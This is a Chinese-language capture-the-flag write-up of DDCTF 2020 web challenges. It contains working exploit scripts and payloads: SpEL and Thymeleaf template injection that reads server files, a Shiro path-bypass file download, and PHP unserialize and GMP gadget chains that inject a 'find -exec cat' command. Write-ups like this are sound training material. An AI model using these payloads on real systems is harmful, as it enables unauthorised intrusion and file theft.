趁环境还没关,赶紧复现
0x01 web 签到题 利用c-jwt-cracker可以爆破出jwt密钥,
然后伪造jwt-token
下载到client。
1 export http_ptoxy=127.0.0.1:8080
burp抓包
逆向client,web狗不会逆向,看wp说是用的 HMAC sha256加密,密钥是DDCTFWithYou。
验证:
赛后看wp知道是spel,参考l3yx 的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport reimport timeimport urllib.parsedef getSignature (command,time) : command=urllib.parse.quote(command) headers = { "Host" : "1024tools.com" , "Content-Type" : "application/x-www-form-urlencoded" } url = "https://1024tools.com/hmac" data="query=" +command+"|" +time+"&algo=sha256&key=DDCTFWithYou" res = requests.post(url=url,headers=headers,data=data) r=re.compile('B:(HMAC(.*?)<textarea class="form-control" id="result_base64" rows="2" spellcheck="false" name="result" cols="50">(.*?)</textarea>' ,re.DOTALL) return r.search(res.text).group(2 ) def sendCommand (command,time) : signature = getSignature(command,time) headers = { "Host" : "117.51.136.197" , "Content-Type" : "application/json" } url = "http://117.51.136.197/server/command" data = '{"signature":"' +signature+'","command":"' +command+'","timestamp":' +time+'}' res = requests.post(url=url,headers=headers,data=data) return res.text command = "T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))" command = "new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()" print(sendCommand(command,str(int(time.time()))))
0x02 卡片商店 可以借卡片,如果借2的61次方会溢出,导致还两张即可,等40秒,就会换完,可以兑换礼物。
1 2 3 4 5 6 7 8 9 某礼物商店正在做活动,100张卡片可兑换礼物,你能帮小明换到他想要的礼物吗?规则如下: 1. 截止2020-09-04 08:55:34之前,每20秒会免费获得1张卡片,且可进行礼物兑换。 2. 可随时向朋友互借卡片。 小明目前手上有4611686018427387706张卡片。 恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?
看cookie,通过搜索可以知道为go的Gorilla session
利用这个工具 伪造cookie,
0x03 easy web 截包可以发现rememberme,可以确定是shiro
然后用xray,常见的密钥也没有跑出来,看wp后知道是shiro的权限绕过漏洞 ,用/;/可以绕过认证。
存在任意文件下载漏洞。
/34867ccfda85234382210155be32525c/;/web/img?img=WEB-INF/web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app xmlns ="http://java.sun.com/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version ="3.0" metadata-complete ="false" > <display-name > Archetype Created Web Application</display-name > <context-param > <param-name > contextConfigLocation</param-name > <param-value > classpath:spring-core.xml </param-value > </context-param > <listener > <listener-class > org.springframework.web.util.WebAppRootListener</listener-class > </listener > <listener > <listener-class > org.springframework.web.util.IntrospectorCleanupListener</listener-class > </listener > <listener > <listener-class > org.springframework.web.context.ContextLoaderListener</listener-class > </listener > <servlet > <servlet-name > springmvc</servlet-name > <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class > <init-param > <param-name > contextConfigLocation</param-name > <param-value > classpath:spring-web.xml</param-value > </init-param > </servlet > <servlet-mapping > <servlet-name > springmvc</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping > <filter > <filter-name > encodingFilter</filter-name > <filter-class > org.springframework.web.filter.CharacterEncodingFilter</filter-class > <init-param > <param-name > encoding</param-name > <param-value > UTF-8</param-value > </init-param > <init-param > <param-name > forceEncoding</param-name > <param-value > true</param-value > </init-param > </filter > <filter-mapping > <filter-name > encodingFilter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <filter > <filter-name > safeFilter</filter-name > <filter-class > com.ctf.util.SafeFilter</filter-class > </filter > <filter-mapping > <filter-name > safeFilter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <filter > <filter-name > shiroFilter</filter-name > <filter-class > org.springframework.web.filter.DelegatingFilterProxy</filter-class > <init-param > <param-name > targetFilterLifecycle</param-name > <param-value > true</param-value > </init-param > </filter > <filter-mapping > <filter-name > shiroFilter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <error-page > <error-code > 500</error-code > <location > /error.jsp</location > </error-page > <error-page > <error-code > 404</error-code > <location > /hacker.jsp</location > </error-page > <error-page > <error-code > 403</error-code > <location > /hacker.jsp</location > </error-page > </web-app >
WEB-INF/classes/spring-web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:context ="http://www.springframework.org/schema/context" xmlns:mvc ="http://www.springframework.org/schema/mvc" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd" > <context:component-scan base-package ="com.ctf.controller" /> <context:component-scan base-package ="com.ctf.repository" /> <context:component-scan base-package ="com.ctf.service" /> <mvc:annotation-driven > <mvc:message-converters > <bean class ="org.springframework.http.converter.StringHttpMessageConverter" > <constructor-arg value ="UTF-8" /> </bean > </mvc:message-converters > </mvc:annotation-driven > <mvc:default-servlet-handler /> </beans >
WEB-INF/classes/spring-core.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xmlns:aop ="http://www.springframework.org/schema/aop" xmlns:context ="http://www.springframework.org/schema/context" xmlns:jee ="http://www.springframework.org/schema/jee" xmlns:tx ="http://www.springframework.org/schema/tx" xsi:schemaLocation ="http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee-4.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd" > <import resource ="classpath:spring-shiro.xml" /> <aop:aspectj-autoproxy > </aop:aspectj-autoproxy > <tx:annotation-driven /> <bean id ="viewResolver" class ="org.thymeleaf.spring4.view.ThymeleafViewResolver" > <property name ="order" value ="1" /> <property name ="characterEncoding" value ="UTF-8" /> <property name ="templateEngine" ref ="templateEngine" /> </bean > <bean id ="templateEngine" class ="org.thymeleaf.spring4.SpringTemplateEngine" > <property name ="templateResolver" ref ="templateResolver" /> </bean > <bean id ="templateResolver" class ="org.thymeleaf.spring4.templateresolver.SpringResourceTemplateResolver" > <property name ="prefix" value ="/WEB-INF/templates/" /> <property name ="suffix" value =".html" /> <property name ="templateMode" value ="HTML5" /> <property name ="cacheable" value ="false" /> <property name ="characterEncoding" value ="UTF-8" /> </bean > <context:annotation-config /> <context:component-scan base-package ="com.ctf" > <context:include-filter type ="annotation" expression ="org.springframework.stereotype.Service" /> <context:include-filter type ="annotation" expression ="org.springframework.stereotype.Repository" /> </context:component-scan > </beans >
WEB-INF/classes/com/ctf/util/SafeFilter.class
WEB-INF/classes/com/ctf/controller/IndexController.class
WEB-INF/classes/com/ctf/controller/AuthController.class
WEB-INF/classes/com/ctf/auth/ShiroRealm.class
参考l3yx的wp脚本,考点是thymeleaf模板注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsimport urllib.parseimport reheaders = { "Host" : "116.85.37.131" , "Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "Origin" : "http://116.85.37.131" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/index" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" , } def render (payload) : print("[+] submit..." ) url = "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef/customize" data = "content=" +urllib.parse.quote_plus(payload) res = requests.post(url = url,headers = headers,data = data) if re.search("Success! Please fetch .(.*)? !" ,res.text) is None : print(res.text) exit() else : return re.search("Success! Please fetch .(.*)? !" ,res.text).group(1 ) def getResult (url) : print("[+] getResult..." ) url = "http://116.85.37.131/34867ccfda85234382210155be32525c/;/web/68759c96217a32d5b368ad2965f625ef" +url res = requests.get(url,headers=headers) return res.text def getString (string) : strc="" for i in string: strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+" .format(str(ord(i))) return strc[:-1 ] def getClass (className) : return "T(com.ctf.model.User).getClassLoader().loadClass(" +getString(className)+")" poc = "${" +getClass("java.util.Arrays" )+".toString(" + getClass("java.nio.file.Files" )+".list(" +getClass("java.nio.file.Paths" )+".get(" +getString("/" )+")).toArray()" +")}" poc = "<input th:value=" +poc+">" print(getResult(render(poc))) poc = "${" +getClass("java.util.Arrays" )+".toString(" + getClass("java.nio.file.Files" )+".lines(" +getClass("java.nio.file.Paths" )+".get(" +getString("/flag_is_here" )+")).toArray()" +")}" poc = "<input th:value=" +poc+">" print(getResult(render(poc)))
参考decade 的解法,是利用1.class.forname()获取类,用String类动态生成字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport redef encode (message) : payload = 'T(Character).toString(%s)' % ord(message[0 ]) for ch in message[1 :]: payload +='.concat(T(Character).toString(%s))' % ord(ch) return payload url = "http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/customize" pattern = re.compile("render\/(.*?) !" ) message ='1.class. forName({Files}).list(1.class. forName({Paths}).get({path})).toArray()[19]' .format(Files=encode("java.nio.file.Files" ), Paths=encode("java.nio.file.Paths" ), path=encode("/" )) res1 = requests.post(url,data = {"content" :"[[${" +message+"}]]" }) render = pattern.search(res1.text) renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}" .format(render.group(1 ))) message = '1.class. forName({Files}).lines(1.class. forName({Paths}).get({path})).toArray()[0]' .format(Files=encode("java.nio.file.Files" ), Paths=encode("java.nio.file.Paths" ), path=encode("/flag_is_here" )) res2 = requests.post(url,data = {"content" :"[[${" +message+"}]]" }) render = pattern.search(res2.text) renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}" .format(render.group(1 ))) print(renderurl.text)
0x04 overwrite me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <?php error_reporting(0 ); class MyClass { var $kw0ng; var $flag; public function __wakeup () { $this ->kw0ng = 1 ; } public function get_flag () { return system('find /FlagNeverFall ' . escapeshellcmd($this ->flag)); } } class Prompter { protected $hint; public function execute ($value) { include ($value); } public function __invoke () { if (preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i" , $this ->hint)) { die ("Don't Do That!" ); } $this ->execute($this ->hint); } } class Display { public $contents; public $page; public function __construct ($file='/hint/hint.php' ) { $this ->contents = $file; echo "Welcome to DDCTF 2020, Have fun!<br/><br/>" ; } public function __toString () { return $this ->contents(); } public function __wakeup () { $this ->page->contents = "POP me! I can give you some hints!" ; unset ($this ->page->cont); } } class Repeater { private $cont; public $content; public function __construct () { $this ->content = array (); } public function __unset ($key) { $func = $this ->content; var_dump($func); return $func(); } } class Info { function __construct () { eval ('phpinfo();' ); } } $show = new Display(); $bullet = $_GET['bullet' ]; if (!isset ($bullet)){ highlight_file(__FILE__ ); die ("Give Me Something!" ); }else if ($bullet == 'phpinfo' ) { $infos = new Info(); }else { $obstacle = new stdClass; $mc = new MyClass(); $mc->flag = "MyClass's flag said, Overwrite Me If You Can!" ; @unserialize($bullet); echo $show->contents; echo $mc->get_flag(); }
可以看phpinfo()对应的php版本为php5.6.10,正好考察的是前期的https://paper.seebug.org/1267/ ,GMP的漏洞。
访问hint.php,得到前半段flag。
1 Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!
然后参考那篇文章和hackone的payload。
漏洞利用需要有__wakeup()函数,题目中给了一个MyClass包含一个__wakeup()函数,但是其对应的kw0ng变量值为1,只能通过反序列化修改$show(第一个实例化的Display类)的成员。所以需要利用DateInterval内置类的__wakeup()函数,本地测试如下:
1 2 3 4 5 6 7 <?php $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}' ; $inner = 's:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}' ; $inner = 's:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:7:"MyClass":1:{s:5:"kw0ng";R:2;}}' ; $inner = 's:1:"3";a:3:{s:5:"kw0ng";R:1;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}' ; $exploit = 'a:1:{i:0;C:3:"GMP":' .strlen($inner).':{' .$inner.'}}' ;
可以看到是$show的contents被修改了。
1 $bullet = 'a:1:{i:0;C:3:"GMP":84:{s:1:"1";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}';
将s对应的值更改为3,
1 $bullet = 'a:1:{i:0;C:3:"GMP":84:{s:1:"3";a:2:{s:8:"contents";s:8:"hiasfgas";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}';
这样就把$mc的contents值修改了,所以可以利用这里修改$mc的flag值,执行命令。
1 http://117.51.137.166/EOf9uk3nSsVFK1LQ.php?bullet=a:1:{i:0;C:3:"GMP":132:{s:1:"3";a:3:{s:5:"kw0ng";R:1;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}
另外还可以不利用GMP的漏洞,直接用反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(-1 ); class MyClass { var $kw0ng; var $flag; } class Display { public $contents; public $page; } class Repeater { private $cont; public $content; } $my = new MyClass(); $my->flag = '-exec cat /FlagNeverFall/suffix_flag.php {} ;' ; $rep = new Repeater(); $rep->content = [$my,'get_flag' ]; $dis = new Display(); $dis->page = $rep; echo urlencode(serialize($dis));
1 ?bullet=O%3A7%3A%22Display%22%3A2%3A%7Bs%3A8%3A%22contents%22%3BN%3Bs%3A4%3A%22page%22%3BO%3A8%3A%22Repeater%22%3A2%3A%7Bs%3A7%3A%22content%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22MyClass%22%3A2%3A%7Bs%3A5%3A%22kw0ng%22%3BN%3Bs%3A4%3A%22flag%22%3Bs%3A45%3A%22-exec+cat+%2FFlagNeverFall%2Fsuffix_flag.php+%7B%7D+%3B%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7Ds%3A14%3A%22%00Repeater%00cont%22%3BN%3B%7D%7D
感觉这个反序列化是用来包含hint.php的。
参考
https://www.anquanke.com/post/id/216694
https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/